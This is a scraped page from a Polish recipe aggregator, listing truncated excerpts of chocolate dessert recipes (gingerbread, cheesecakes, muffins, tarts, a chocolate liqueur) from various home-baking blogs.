family:Calibri; mso-ascii-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-fareast-language:EN-US;}  na wierzch: 100 g czekolady mlecznej   100 g czekolady gorzkiej  50 ml mleka posypka "Kamyczki czekoladowe" Delecta   Przygotowanie: Masło roztapiamy na palniku na małym ogniu i odstawiamy do ostygnięcia. Jajka ucieramy(...)foremki, wyłożonej folią aluminiową. Wykładamy nadzienie i przyciskamy wierzchem piernika. Odstawiamy do całkowitego stężenia na ok. 3-5 godzin do lodówki. Piernik wykładamy z formy "do góry nogami". Czekoladę razem z mlekiem rozpuszczamy w kąpieli wodnej. Polewę wylewamy na ciasto i rozsmarowujemy na całości, a następnie obrzucamy posypką. Piernik wkładamy do lodówki najlepiej na całą noc. Smacznego

Symfonia smakowa
Pierniczki 174

Pyszne łatwe do zrobienia pierniczki  nadzieniem z czarnej porzeczki oblane ciemną  czekoladą i obsypane kokosem lub orzechami Składniki ciasto •350 g mąki • 1 jajko • 30 g margaryny • 170 g cukru •150 g miodu • 1,5 łyżki kakao • 1 łyżeczka amoniaku • 1 paczka 15 g przyprawa do piernika Polewa • 200 g czekolady gorzkiej • 100 g masła • 2 łyżki nutelii(...)gorący miód  i margarynę zagnieść ciasto ciasto rozwałkować i wykroić pierniczki Piec 180 stopni 2. • Upieczone wystudzone pierniki smarować powidłami i zlepić parami 3. • Polewa rozpuścić margarynę dodać czekoladę i nutellę dolać kilka łyżek  wody podgrzewać powoli i mieszać aż do połączenia składników W polewie zanurzyć pierniki obsypać wiórkami lub orzechami

W królestwie smaków Beaty
Brownie z czekoladowym karmelem. 164

bardziej czeko od brownie ?Pamiętajcie o czasie pieczenia, zbyt długo przetrzymane w piekarniku zamieni to pyszne ciacho w murzynka. Składniki ,na małą ,kwadratową blaszkę : 200 g masła 200 g czekolady gorzkiej 150 g cukru trzcinowego 3 jajka 100 g mielonych migdałów 50 g mąki pszennej Czekoladę rozpuścić w kąpieli wodnej ,dodać masło i rozpuścić ,przestudzić .Jajka ubić z cukrem(...)minut . Karmel czekoladowy: mleko skondensowane słodzone gotujemy w puszce zanurzone przez cały czas około 2 godziny. Studzimy ,wyjmujemy z puszki i dodajemy kilka kostek gorzkiej , roztopionej w mikrofalówce czekolady ,mieszamy i gotowe

Ladylaura.
Katarzynka 148

biszkopt, przełożony masą budyniową z kawą i odrobiną alkoholu, z dodatkiem popularnych pierniczków Katarzynek, udekorowany polewą czekoladową i czekoladowymi kamyczkami. Niebo w buzi :) W cieście przeważają mocne smaki kawy, czekolady i słodkich pierniczków. Doskonały pomysł na pyszne i niecodzienne ciasto :) Polecam! Składniki na biszkopt: 6 jajkek 1 szklanka cukru 1/2 szklanki mąki pszennej 2 łyżki mąki ziemniaczanej 2 łyżki kawy(...)łyżki mąki ziemniaczanej 3 łyżki cukru 4 łyżeczki cukru waniliowego 300 g miękkiego masła 3 łyżki kawy cappuccino 2 łyżki wódki + około 25 pierniczków katarzynek Polewa czekoladowa: 150 g czekolady deserowej kilka łyżek śmietany 30% kamyczki czekoladowe Delecta Decorada Białka oddzielić od żółtek i zmiksować na sztywną pianę. Pod koniec miksowania stopniowo dodawać cukier i miksować kolejne kilka minut. Dodawać

Domowa cukiernia Ewy
Jak zrobić szybki piernik? 217

cukru 3 łyżeczki kakao 200 g mąki 1 czubata łyżeczka proszku do pieczenia  3 łyżeczki przyprawy piernikowej 150 ml mleka 150 ml oleju 100 g mlecznej czekolady do rozpuszczenia Sposób przygotowania: Jajka ubijamy razem z cukrem na puszystą masę. W oddzielnej misce mieszamy mąkę, kakao, przyprawę piernikową i proszek do pieczenia. Do masy jajecznej dodajemy na przemian wymieszane suche(...)składniki i połączone mleko z olejem. Gotową masę przelewamy do podłużnej formy keksowej wyłożonej papierem do pieczenia i pieczemy w 180`C około 45 minut - do suchego patyczka. Czekoladę rozpuszczamy w kąpieli wodnej lub w mikrofali (3x 30 sekund). Ostudzone ciasto polewamy mleczną czekoladą. Smacznego

Słodkie Przyjemności
ciasto delicja 433

mleka. Całość cały czas mieszamy do zgęstnienia. Gotowy budyń odstawiamy do całkowitego wystudzenia. Masło miksujemy na puch, dodajemy stopniowo budyń, cały czas miksujemy. składniki na krem czekoladowy: 200 g czekolady mlecznej 50 g orzechów laskowych 200 g śmietany kremówki wykonanie: Śmietanę podgrzewamy na małym ogniu, dodajemy połamana czekoladę, odstawiamy na ok. 2 min., a następnie dokładnie mieszamy na aksamitny krem(...)kremu. wykonanie ciasta: Na pierwszy blat biszkoptu wylewamy tężejącą galaretkę z pomarańczami i przykrywamy drugim blatem. Wierzch biszkoptu smarujemy kremem czekoladowym na który wykładamy masę budyniową. Całość posypujemy startą czekoladą. Schładzamy w lodówce

Domowy Smak Jedzenia
Ciasto z masą z suszonych śliwek i piernikową 165

żelatyny Delecta 2 łyżki śliwowicy (opcjonalnie) Masa piernikowa:  125 g śmietanki 30% 250 g serka mascarpone 30 g cukru 2-3 łyżeczki przyprawy do piernika Polewa: 50 g czekolady gorzkiej 50 g czekolady mlecznej 100 g śmietanki 30% posypka kamyki czekoladowe Decorada Delecta Białka ubić na sztywno, dodać cukier. Żółtka ze szczyptą soli i olejem wymieszać, dodać do białek(...)dodać przyprawę do piernika. Wyłożyć na drugą część nasączonego biszkoptu i przykryć trzecim ostatnim biszkoptem. Wstawić do lodówki do stężenia. Śmietankę na polewę podgrzać i rozpuścić w niej czekolady. Polać ciasto i udekorować posypką. Smacznego

talerz przyjemności
Najprostszy sernik z kaszy jaglanej - jagielnik 160

cytryny, - 1 puszka mleka kokosowego, - 10 łyżek wiórków kokosowych, - 1 łyżka esencji waniliowej, - ew. łyżka startej skórki z wyparzonej pomarańczy, - słód do posłodzenia masy, - pół tabliczki gorzkiej czekolady, - 1 łyżka oleju kokosowego. Wykonanie: Kaszę jaglaną zmielić razem z rodzynkami, esencją waniliową, wiórkami kokosowymi, gęstą częścią mleka kokosowego oraz sokiem z cytryny. Najlepiej żeby masa była gładka, wtedy ciasto nie będzie(...)tortownicy wysmarowanej olejem i wysypanej kaszą manną. Piec w nagrzanym do 180 stopniach piekarniku przez ok 30-40 minut. Jeśli ciasto będzie się za bardzo spiekało, trzeba zmniejszyć temperaturę. Czekoladę roztopić  - na garnek z gotującą się wodą stawiamy miskę do której wkładamy czekoladę oraz olej kokosowy, mieszamy i szybko polewamy lekko ostudzone ciasto. Zostawiamy ciasto do całkowitego ostygnięcia, dopiero

Co na wege obiad?
Ciasto Rafaello 374

budyniu śmietankowego, 1 opakowanie cukru waniliowego, 250g  masła, 4 łyżki cukru pudru, 100g wiórków kokosowych, 75 ml spirytusu, Dodatkowo: 25 szt herbatników, 1,5 tabliczki  białej   czekolady, 2 łyżki wiórków kokosowych do posypania. PRZYGOTOWANIE: 1.  Biszkopt: Białka ubijam na sztywną pianę. Nadal ubijając dodaję kolejno cukier, żółtka, olej, mąkę, ocet oraz proszek do pieczenia. Ciasto wykładam(...)puszystą masę. Stopniowo dodaję po łyżce zimnego budyniu. Na końcu dodaję kokos oraz spirytus. Dokładnie ucieram.  Masę wykładam na biszkopt. Wyrównuję. 3.  Na masie kokosowej układam herbatniki. Czekoladę rozpuszczam nad kąpielą wodną. Na wierzchu ciasta robię z czekolady esy floresy. Ciasto oprószam wiórkami kokosowymi i wstawiam na 2 godziny do lodówki

Tradycyjna kuchnia Kasi
Serowe ciasteczka z Ricottą 132

sztuk KONIECZNIE TEMPERATURA POKOJOWA masa serowa : - 350 g twarogu - 250 g ricotty - szklanka cukru pudru - 3 duże łyżki kakao - 200g masła - kilka kropel olejku waniliowego Polewa : - 100 g czekolady mlecznej - 100 g czekolady gorzkiej - pół szklanki cukru - 3 duże łyżki kawy rozpuszczalnej - 50 ml spirytusu - pół szklanki wody 45 sztuk herbatników maślanych Masło ucieramy z cukrem na białą masę(...)warstwę masy i ponownie przykładamy trzecim herbatnikiem. Wkładamy do lodówki a w tym czasie robimy polewę, do miski ,którą ustawiamy na garnku z gotującą wodą łamiemy czekoladę ,wlewamy wodę ,dodajemy kawę i cukier i mieszając doprowadzamy do połączenia składników, konsystencja powinna być gęstej smietany, odstawiamy do ostygnięcia. Jak ostygnie wlewamy spirytus i mieszamy . Wyciągamy ciastka z lodówki

Wypieki Rene
babeczki makowo serowe 141

ricotta 1 jajko 100 g cukru 1/2 łyżeczki maki ziemniaczanej 2 łyżeczki cukru z prawdziwą wanilią wykonanie: Wszystkie składniki miksujemy tylko do połączenia się składników. dodatkowo: 70 g gorzkiej czekolady 1-2 łyżki masła orzechy włoskie, posiekane kandyzowana skórka pomarańczowa Czekoladę rozpuszczamy z masłem w kąpieli wodnej. 12 papierowych papilotek rozkładamy w formie do muffinek. Do każdej wkładamy równą warstwę(...)masy makowej, na którą wykładamy masę serową. Pieczemy przez ok. 30 min. w 170 st. C. Po upieczeniu odstawiamy do wystudzenia. Wystudzone polewamy czekoladą, posypujemy posiekanymi orzechami i kandyzowana skórka pomarańczową. (inspiracja z przepisu znalezionego tutaj

Domowy Smak Jedzenia
Szybkie ciasto na poprawę nastroju 126

dużo pisać, ostatnio niespecjalnie dopisuje mi humor. Postanowiłam sobie go poprawić jakimś smakowitym ciastem. Na zły nastrój najbardziej pomaga mi czekolada albo szklanka soku pomarańczowego do śniadania. Stąd też pomysł na nowy wypiek- jest to ciasto mocno improwizowane, stąd moje zaskoczenie, że coś z niego wyszło. Smak podkręca odrobina przypraw korzennych i domowa frużelina, z której można zrezygnować albo zastąpić(...)przepis na domową przyprawę TUTAJ ) 0,5 szklanki mleka 0,5 szklanki soku wyciśniętego z pomarańczy skórka otarta z 1 pomarańczy 0,5 szklanki oleju 2 jajka 40g gorzkiej czekolady Polewa: 50g margaryny 3 łyżeczki pudru 3 łyżeczki ciemnego kakao 3 łyżeczki mleka Dodatkowo: Frużelina lub dżem pomarańczowy Przesiać do naczynia mąkę, proszek do pieczenia, kakao, przyprawę do piernika. Dodać

Wrzosowa Polana
Malinowe pocałunki 109

serca otoczone są masą marcepanową i zanurzone w lśniącej polewie czekoladowej. Znajdą się jacyś chętni do wypróbowania tej słodkości? Składniki: 25-30 sztuk mrożonych malin 200g masy marcepanowej tabliczka czekolady Goplana Oryginalna Mleczna 90g   5 łyżek śmietanki 1 łyżka żelatyny Masą marcepanową otaczamy mrożone maliny i nadajemy jej kulisty kształt. Rozpuszczamy na parze tabliczkę czekolady Oryginalnej Mlecznej Goplana(...)Podgrzewamy śmietankę i rozpuszczamy w niej żelatynę. Dodajemy do czekolady, mieszamy do powstania gładkiej polewy. Oblewamy nią pralinki. Wkładamy gotowe czekoladki do lodówki, by polewa stężała. Smacznego

Wrzosowa Polana
Kawowe parfait z czekoladą i orzechami laskowymi 98

mniejszych naczyniach. Gwarantuję, że kawowe parfait smakuje jeszcze lepiej niż wygląda! Składniki na tortownicę 26cm: 3 jajka 150ml mocnej kawy 300ml śmietanki 0,5 szklanki cukru + 2 łyżki 1 czekolada Goplana Klasyczna Gorzka 90g kilka sztuk okrągłych biszkoptów 100g orzechów laskowych Do dekoracji: adwokat listki mięty Potrzebne nam będą trzy naczynia. W pierwszym żółtka ucieramy na parze z połową szklanki(...)koniec stopniowo dwie łyżki cukru. Do masy żółtkowej wlewamy przestudzoną kawę i ubijamy do powstania pianki na najwyższych obrotach miksera. Łączymy wszystkie trzy masy delikatnie mieszając. Dodajemy drobno pokrojoną czekoladę Goplanę Klasyczną Gorzką (odłożyć cztery kostki). Wlewamy do tortownicy zabezpieczonej folią aluminiową. Dekorujemy parfait biszkoptami, orzechami laskowymi i roztopioną pozostałą czekoladą (można dolać mleko lub śmietankę). Mrozimy minimum 5 godzin

Wrzosowa Polana
Wytrawne fondue z czekoladą 111

Zaskakujące połączenie kurczaka, pieczonej papryki, przypraw i... czekolady. Jeżeli lubicie niecodzienne zestawienia smaków, z pewnością posmakuje Wam sos do mięs z poniższego przepisu. Wykonanie zajmuje sporo czasu, ale warto spróbować :) Składniki: Roladki drobiowe: 1 podwójny filet z kurczaka 1 mała papryka czerwona, żółta, zielona kilka rodzynek olej do smażenia sól Sos: szklanka bulionu 1 papryka czerwona 50g rodzynek 1 mała(...)cebula 1 czekolada  Goplana Klasyczna Gorzka 90g pieprz do smaku 4 goździki 1 łyżeczka roztłuczonej w moździerzu kolendry 1 gwiazdka anyżu 1/2 łyżeczki cynamonu 2 ząbki czosnku 1 średni pomidor 1 łyżeczka soku z limonki 1 łyżka słodkiej papryki szczypta chili olej do smażenia Dodatkowo: świeża kolendra sezam Paprykę umieszczamy na 10 minut w piekarniku nagrzanym do 220 stopni

Wrzosowa Polana
Ciasto „Wszystkiego Najlepszego” z wiśniami i czekoladą 767

Dzisiaj ostatni przepis w tym roku na ciasto „Wszystkiego Najlepszego” z wiśniami i czekoladą. Przygotowane jest z dwóch biszkoptów kakaowego i kokosowego. Krem jest kawowy z orzechami, z dodatkiem spirytusu. Jeśli nie przepadamy za wiśniami, możemy użyć moreli z puszki. Wtedy nie musimy ich gotować, od razu połówki układamy na cieście. Ciasto jest bardzo smaczne i łączy w sobie wiele(...)łyżki cukru pudru 2 łyżeczki cukru wanilinowego Do nasączenia: 1/3 szklanki wiśniówki 1/3 szklanki wody Dodatkowo: cukier puder i kakao do posypania 80g zmielonej gorzkiej czekolady (możemy użyć również mlecznej)     Masa wiśniowa: 1. Wiśnie przełożyć do rondelka, dodać cukier i zagotować. 2. Mąkę ziemniaczaną rozmieszać w 1/3 szklanki wody i dodać do gotujących się wiśni. Mieszać energicznie

Mała Cukierenka
Pyszna czekoladowa tarta z orzechami laskowymi 123

starałam się ją przerobić na nieco bardziej zdrową, dlatego do pieczenia użyłam masła klarowanego, (można je również zastąpić jogurtem), zamiast cukru użyłam ksylitolu, natomiast jako nadzienie użyłam gorzką czekoladę i dodałam śmietanę, której niczym nie zastąpiłam no bo w końcu musi być pysznie :) Jako, że Sylwester spędzam sama w domu powinnam zrobić jeszcze bardziej słodkie i jeszcze bardziej tłuste ciasto(...)łyżeczki ekstraktu waniliowego (można pominąć) 1 duże jajko  masło ok 100 g lub 50 g jogurtu naturalnego 1/4 szklanki ksylitolu lub cukru  Na nadzienie :  2 gorzkie czekolady (ok 200g)  70 % 1 szklanka śmietany 30 % 1 łyżeczka ekstraktu waniliowego  150 g orzechów laskowych upieczonych na wierzch  Przygotowanie :  1. Pieczemy orzechy na blaszce wyłożonej papierem

zdrowa vege kuchnia
Sernik czekoladowy na zimno z 'pijaną śliwką' 188

się... serniczek czekoladowy, ale taki w wersji na zimno, gdyż jest on bardziej deserem niż ciężkim ciastem- jak np. tradycyjnie pieczony sernik.  Sernik, mimo, że z mlecznej czekolady jest słodki, ale nie jest przesłodzony ani mdły, o delikatnie przebijającej się nucie wanilii, przełamany suszoną 'pijaną' śliwką- czyli nasiąkniętą %- oraz polany tradycyjną polewą czekoladową . Bez spodu, dzięki czemu przygotowuje się(...)który zaczyna się 6 stycznia, a kończy 9 lutego. Polecam, bo serniczek smakuje naprawdę wyśmienicie :) * twaróg- 500 g (użyłam ser capresi, ale można wykorzystać również ser z wiaderka, niesłodzony) * czekolada mleczna- 300 g * kremówka- 250 ml (w wersji odchudzonej można użyć gęstego jogurtu naturalnego) * słodkie czerwone wino- 200  ml (w mocniejszej wersji: rum lub wódka, a wersji bezalkoholowej: owocowa

Kraina Miodem Płynąca
Sernik pomarańczowy z wiśnią 109

sernik jeszcze na 40 minut. Ja zwykle zostawiam sernik do wystygnięcia w zamkniętym piekarniku, ewentualnie po jakimś czasie uchylam delikatnie drzwiczki piekarnika. Jak już całkowicie ostygnie ozdobić roztopioną gorzką czekoladą z dodatkiem śmietany kremówki. 2 łyżki śmietanki kremówki 50g. gorzkiej czekolady Śmietanę zagotować, gaz wyłączyć wrzucić czekoladę i poczekać aż się roztopi

Kubki smaku
Muffinki pysznie czekoladowe 103

lubicie czekoladę ? ja nie specjalnie, może leżeć w szafie i nawet nie przyszło by mi do głowy by wsunąć sobie taką tabliczkę ale nie jest tak pięknie, że owa słodycz mnie nie kusi. Moim  zastosowanie tabliczek czekolady są oczywiście ciasta. Uwielbiam łączyć płynną ich słodycz z mlekiem, mąką, jajkami, wychodzą z tego same grzechu warte słodkie pyszności. Stwierdzenie(...)Przepis Nigelli Lawson Składniki na 12 muffinek: 250 g mąki pszennej 2 łyżeczki proszku do pieczenia ½ łyżeczki sody oczyszczonej 2 łyżki kakao 175 g cukru pudru 150 g posiekanej czekolady ja dałam pół białej i połowę mlecznej 250 ml mleka 90 ml oleju 1 duże jajko 1 łyżeczka ekstraktu z wanilii W jednym naczyniu wymieszać wszystkie suche składniki, w drugim

Kubki smaku
Sernik z truskawkami polany białą czekoladą z migdałami 128

wyzwania są po to by je realizować. Pomysł na sam przepis na ciacho trochę podpatrzyłam  tu trochę tam i resztę sama dodałam. Sernik wyszedł obłędny, mazisty, kremowy. Czekolada, migdały i truskawki to połączenie genialne, do tego kruchy spód czy może być coś lepszego. Zapraszam...  Skala smaku 10/10 nie polecam do tego sernika sera w wiaderku. Ja akurat zmieliłam(...)Składniki na polewę 100 g. czekolady białej 4 łyżki śmietanki lub mleka 3 łyżki płatków migdałowych Wszystkie składniki powinny być w temperaturze pokojowej. Wszystkie składniki na masę serową wymieszać - jajka przed wlaniem do misy razem roztrzepać. Zmiksować do połączenia; nie miksować zbyt długo, by niepotrzebnie nie napowietrzać masy serowej - napowietrzony sernik mocno urośnie, a potem może opaść. Masę serową wylać

Kubki smaku
Ciasteczka paryskie misie 117

szklanki mąki  pelnoziarnistej 6 łyżek cukru kryształu 1 jajko łyżka kakao olejek waniliowy kilka kropel ponadto: 1 łyżeczka masła śmietankowego 1 łyżeczka śmietanki lub mleka 50g. czekolady mlecznej Wykonanie: Z wszystkich składników (poza kakao) wyrobić  ciasto, odjąć 1/3 i wsypać kakao. Z jasnego ciasta utoczyć wałek, w ciemnego prostokąt o takiej samej długości i szerokości pozwalającej na owinięcie(...)Układać na blaszce wyłożonej papierem do pieczenia w niewielkiej odległości od siebie. Piec około 20 minut w temperaturze 180 o C. Studzić na kratce. Po wystudzeniu, wyciskając rozpuszczoną czekoladę z tutki lub woreczka z odciętym rogiem, zrobić lwie buźki. Odłożyć do zastygnięcia czekolady

Kubki smaku
Pomarańczowa tarta z marakują 145

naszym gościom. W zasadzie trudno się od niej oderwać :) Ma lekko orzeźwiający smak (szczególnie wyciągnięta z lodówki), jest słodko-kwaśna i idealnie pasuje do niej cieniutka warstwa ciemnej czekolady rozsmarowana na kruchym spodzie. Z przepisu Gordona zaczerpnęłam tylko przepis na nadzienie, gdyż ciasto kruche robię po swojemu. Uważam, że nadzienie jest wystarczająco słodkie i nie ma potrzeby dosładzania ciasta kruchego(...)łyżka kwaśnej śmietany 1 żółtko   Pomarańczowe nadzienie z marakują: 6 dojrzałych, pomarszczonych owoców marakuji 350 ml świeżego soku pomarańczowego (ew. soku 100% z kartonu) 40 g gorzkiej czekolady 5 dużych jaj (rozm. L) – dałam 4 250 g cukru pudru 200 g śmietanki 30%   Przygotowanie: Przygotować ciasto kruche: Mąkę przesiać do miski, wymieszać z solą. Dodać zimne masło

Moja Delicja
Sernik Snickers 471

Sernik Snickers Bardzo łatwa i szybka wersja sernika, i to jakiego...z dodatkiem kajmaku, solonych orzeszków i czekolady. I wszystko utopione w serze, ułożone na warstwie herbatnikowej, i oblane słodkim kajmakiem... Składniki: spód: 160 g herbatników 70 g masła 1 łyżka cukru pudru masa serowa: 1 kg mielonego sera twarogowego 2/3 szklanki śmietany 30% 3/4 szklanki cukru pudru opakowanie cukru(...)waniliowego 1 opakowanie budyniu waniliowego 4 jajka pół puszki masy kajmakowej ( 200 g ) 150 g solonych orzeszków 120 g gorzkiej czekolady wierzch: pozostałe pół puszki masy kajmakowej ( 200 g ) 3 snickersy  Sposób przygotowania: Herbatniki zmielić w malakserze na proszek. Do zmielonych herbatników dodać rozpuszczone masło i cukier puder, wymieszać. Dno tortownicy (u mnie 26 cm) wyłożyć papierem do pieczenia

na moim stole...
Sernik waniliowy z polewą w kratkę 114

Sernik dobry na każdą okazję. Pysznie waniliowy ,taki jak lubię. Polany czekoladą i polukrowany w kratkę. Składniki na masę serową: 1 g sera z wiaderka 4 jajka 1 szklanka cukru 1 opakowanie budyniu waniliowego ( 40 g) 1 laska wanilii 200 g śmietany 18% Dodatkowo: 150 g czekolady mlecznej 2 łyżki mleka  Lukier: pół białka(...)minut,teraz zmniejszamy do 150 i pieczemy jeszcze godzinę.Sernik upieczony zostawiamy w piekarniku już wyłączonym przy lekko uchylonych drzwiczkach na 15 minut potem wyjmujemy . Kiedy ostygnie polewamy rozpuszczoną czekoladą i do lodówki na 30 minut do zastygnięcia. Z białka i cukru pudru robimy lukier i dekorujemy górę sernika jak chcecie,u mnie wyszła kratka

Różowa kuchnia
Gorąca czekolada. 105

Składniki: 400 ml mleka 1 tabliczka gorzkiej czekolady Mleko zagotowujemy i wrzucamy kostki czekolady. Gotujemy do momentu całkowitego roztopienia czekolady. Można dodać goździki lub cynamon, według upodobań smakowych. Smacznego

Moje-pitraszenie
Ciasto z batonikami Bounty 140

cóż, dawno coś nie pisałam, ale to z racji braku czasu :) Dziś mam przepis dla miłośników batoników bounty ,a zwłaszcza czekolady i kokosu ;) Składniki: 200 g mąki krupczatki 120 g cukru pudru 1 opakowanie cukru pudru 2 jajka 100 ml oleju 250 g śmietany 18% 2 łyżeczki proszku do pieczenia 2 batoniki kokosowe (np. Bounty(...)czekolady deserowe (ja wolę mleczną ;) ) 30 g masła wiórki kokosowe do posypania bułka tarta i tłuszcz do wysmarowania i posypania kwadratowej blachy Wykonanie:  Najpierw ścieramy batoniki na tarce na największych oczkach. Następnie całe jajka ubijamy z cukrem pudrem oraz cukrem waniliowym. Kiedy powstanie nam puszysta masa, dodajemy powoli i stopniowo dalej miksując: olej, a następnie śmietanę. Wsypujemy mąkę wymieszaną

W Moim Magicznym Domu
Ciasteczka czekoladowo-orzechowe 111

Moje aktualnie najukochańsze ciasteczka :) coś ala pieguski lecz bardziej domowe :) ja dodałam nieco większe kawałki czekolady z powodu lenistwa :) wyszły cudne! Składniki: 120 g miękkiego masła 80 g drobnego cukru 1 jajo 250 g mąki 1 łyżeczka proszku do pieczenia 1 tabliczka  czekolady deserowej (ja dałam mleczną ) 50 g posiekanych orzechów laskowych (mogą być w zamian też włoskie) Wykonanie(...)Czekoladę oraz orzechy, które nie są posiekane, siekamy na drobne kawałki. Masło ucieramy razem z cukrem za pomocą miksera, dodajemy jajko. Stopniowo dodajemy mąkę wymieszaną z proszkiem do pieczenia i łączymy wszystko w jedną masę. Dodajemy posiekane składniki i wszystko razem już mieszamy ręcznie :) chyba, że ktoś zaryzykuje mikserem ;) ... Mając już gotową masę, formujemy ciasteczka w wielkości orzecha włoskiego

W Moim Magicznym Domu
Ciasto Milky Way 473

Jest ono dość słodkie i pewnie dlatego stanie się moim ulubionym ciastem. Oczywiście jeżeli ktoś nie lubi przesłodzonego ciasta doradzam dodać mniej cukru do kremu :) i zdecydowanie zakupić gorzką czekoladę do polewy... zaczynamy ^^ Składniki: Biszkopt: 6 jajek ( jeżeli małe to 7) 1 szklanka cukru 1 szklanka mąki 1 łyżeczka proszku do pieczenia 2-3 łyżki stołowe kakao Krem: 1/2 szklanki(...)mleka 3/4 szklanki cukru 2 opakowania cukru wanilinowego 25 dag margaryny 2 pełne szklanki mleka w proszku (można dodać nieco więcej jeżeli ktoś woli gęstszy krem) Polewa: 15 dag czekolady w kostkach 6 łyżek mleka Wykonanie: Ciasto: białka oddzielamy od żółtek i ubijamy na sztywną pianę. Dodajemy następnie stopniowo - cały czas mieszając (można miksować) cukier, żółtka, mąkę wymieszaną wcześniej

W Moim Magicznym Domu
Dwukolorowe Muffinki z czekoladą 100

łyżeczki kakao 2 jajka 280 ml mleka 100 ml oleju 1 opakowanie cukru waniliowego (zaleca się oryginalny cukier z prawdziwą wanilią - chodź nie jest to konieczne) 0,5 czekolady białej ( 50 gram) 0,5 czekolady mlecznej z orzechami  ( 50 gram ) Wykonanie : Do większej miski przesiewamy mąkę razem z proszkiem do pieczenia. Dodajemy cukier oraz cukier waniliowy. Mieszamy(...)pozostały nam grudki. Można przesiać kakao podczas jego wsypywania do masy. Do blaszki z foremkami (papiloty) wylewamy po łyżce na przemian jedną i drugą masę i kruszymy w dłoniach czekoladę na mniejsze kosteczki i dodajemy tak wszystko razem aż wylejemy całą masę (foremka powinna być przykryta w 1/3 formy). Pieczemy 25 minut w 180*C. Tak więc Smacznego

W Moim Magicznym Domu
Sernik Izaura 160

łyżeczka proszku do pieczenia 1 cukier wanilinowy Masa serowa: 500 g serka waniliowego w wiaderku 1 budyń waniliowy 3 jajka 2 łyżki masła 1/4 szklanki cukru Polewa: 50 g czekolady ( ja przyjęłam 30 g mlecznej 20 g gorzkiej) 2 łyżeczki gęstej śmietany wiórki kokosowe, lub posypka do dekoracji Wykonanie : masło rozpuszczamy razem z cukrem i cukrem waniliowym. Odstawiamy. Kiedy już(...)samym końcu budyń waniliowy. Gotową masę wylewamy na ciasto. Sernik pieczemy przez 50-60 minut w temp. 180*C Ostudzone ciasto polewamy polewą czekoladową, którą uzyskamy, roztapiając czekoladę w kąpieli wodnej czy też w rondelku. Do roztopionej czekolady dodajemy śmietanę, mieszamy i wylewamy na sernik.  Ciasto można dodatkowo posypać wiórkami, bądź posypką :) Smacznego

W Moim Magicznym Domu
Likier czekoladowy 253

wódki (krupnik) pół szkl cukru 200 g czekolady deserowej (ja użyłam kulek czekoladowych Favorina z lidla 350 ml mleka zagęszczanego nie słodzonego Mleko wlać do rondelka, dodać czekoladę i cukier, wstawić na ogień i ogrzewać ciągle mieszając. Kiedy czekolada się rozpuści przestudzić i wymieszać z wódką, schłodzić i od razu można degustować

Gotowanie jest łatwe
Błyskawiczny piernik 189

szklanki oleju 2 łyżeczki sody oczyszczonej 1 szklanka miodu 1 przyprawa do piernika 2 łyżki kakao Dodatkowo Dżem do przełożenia (dałam wiśniowy i brzoskwiniowy) Polewa 100 g czekolady Czekoladę rozpuścić nad parą. Żółtka utrzeć z cukrem na puszystą masę. Dodać olej miód, przyprawę do piernika, śmietanę i dalej miksować do połączenia się składników. Mąkę przesiać z kakao i sodą(...)około 50 minut. Sprawdzić patyczkiem czy nie jest w środku surowe. W razie potrzeby piec dłużej. Po wystygnięciu ciasto przekroić na dwie części i posmarować dżemem. Polać rozpuszczoną czekoladą. błyskawiczny piernik

O kuchni z uczuciem
Orzechowe sztabki 100

mąki 200 g orzechów drobno siekanych 200 g cukru pudru 250 g margaryny 4 żółtka 1,5 tabliczki czekolady do smarowania 3/4 szkl orzechów siekanych do maczania Z podanych składników zagnieść ciasto, schłodzić w lodówce, cienko wałkować i pociąć na prostokąty ok 8x3 cm  Upiec w piekarniku w temp 180 st ok 15 min. Wystudzone smarować do połowy rozpuszczoną(...)czekoladą i maczać w orzechach. pozostawić do zastygnięcia czekolady

Gotowanie jest łatwe
Korzenna granola 162

łyżki syropu klonowego (30-40ml) 40g masła orzechowego 2-3 łyżki wody łyżka kakao 1/2 przyprawy korzennej  cynamon  kilka daktyli  1/3 tabliczki gorzkiej czekolady 2 łyżki siekanych migdałów  Na małej patelni podgrzać masło, syrop, sok i wodę do uzyskania gładkiej masy. W misce zmieszać suche składniki, zalać je płynną masą, dokładnie obtoczyć, przełożyć na blaszkę(...)sobą uklepać jako jedną całość. Piec ok.30-40min w ok. 170-180 stopniach mieszając co jakieś 5-10min, starając się nie rozwalić większych grudek.* Po wyciągnięciu dodać pokrojone daktyle, czekoladę i migdały, lekko wymieszać, pozostawić do wystygnięcia, rozpuszczona czekolada połączy płatki w większe grudki. *na czas pieczenia musicie bardzo uważać, bo piekłam ją "na oko" i nie umiem dokładnie stwierdzić

More food, love and dreams
Najlepsze Pierniki w czekoladzie na świecie 192

szklanka 330ml masło - 200 gram  jajka- 2 sztuki mleko - 200ml (ciepłe) i 100ml soda oczyszczona- 60 gram proszek do pieczenia- 1 łyżka przyprawa korzenna do piernika- 60 gram czekolada - 300gram Gorzka Sposób Przygotowania: Miód podgrzać z masłem ( 100gram) i cukrem. Przestudzić. Mąkę przesiać razem z przyprawą korzenną, sodą i proszkiem do pieczenia, dodać Nasz miód wystudzony i jedno jajko(...)trochę ciepłego mleka Rozwałkować placek o grubości 1,5cm do 2cm . Wykroić foremkami pierniki.  Piec 20 minut w temperaturze 180 stopni. rozpuścić w rondlu masło, mleko i czekoladę, dokładnie wymieszać Maczać z dwóch stron pierniki w naszej czekoladzie Zostawić do wyschnięcia

pichciszto
Sernik miętowy 136

Składniki na spód : 120 g ciasteczek typu digistive, najlepsze w czekoladzie 50 g masła Przygotowanie : Ciasteczka pokruszyć i zmiksować na drobny piasek, masło rozpuścić Dodać je do masy, powinno powstać coś na podobieństwo piasku Tortownicę o średnicy 21 cm wyłożyć papierem do pieczenia Na dno wyłożyć masę ciasteczkową, wyrównać i ugnieść, wstawić ją do lodówki na co najmniej(...)jednak pozostał mało zielony. Piekłam w piekarniku bez kąpieli wodnej, przez to sernik nie był taki puszysty jaki widziałam tu  . Tam dla dekoracji wierzchu sernik został polany rozpuszczoną czekoladą i śmietaną kremówką 36 % Na spód dla lepszego wyglądu i pewnie smaku powinnam użyć ciasteczek z czekoladą, ale nie miałam takich

Proste Potrawy
Piernik na porterze 149

